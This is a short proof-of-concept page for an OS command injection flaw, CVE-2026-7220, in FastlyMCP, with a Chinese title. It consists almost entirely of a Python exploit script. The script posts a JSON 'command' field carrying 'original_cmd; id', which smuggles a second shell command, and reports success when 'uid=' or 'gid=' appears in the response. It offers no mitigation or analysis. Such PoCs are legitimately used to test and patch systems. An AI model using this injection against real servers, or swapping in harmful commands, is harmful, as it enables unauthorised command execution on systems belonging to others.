CVE-2026-7220 FastlyMCP OS命令注入漏洞

# PoC for CVE-2026-7220 # Vulnerability: OS Command Injection in FastlyMCP import requests def exploit(target_url): # The vulnerable parameter is 'command' # Payload attempts to execute 'id' command on the target system payload = "original_cmd; id" # Prepare the data payload data = { "command": payload } try: print(f"[*] Sending payload to {target_url}...") response = requests.post(target_url, json=data, timeout=10) # Check if command injection indicators are present in response if response.status_code == 200 and ("uid=" in response.text or "gid=" in response.text): print("[+] Exploit successful! Command execution detected.") print("[+] Response body:") print(response.text) else: print("[-] Exploit failed or target not vulnerable.") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target endpoint target = "http://127.0.0.1:3000/fastly-endpoint" exploit(target)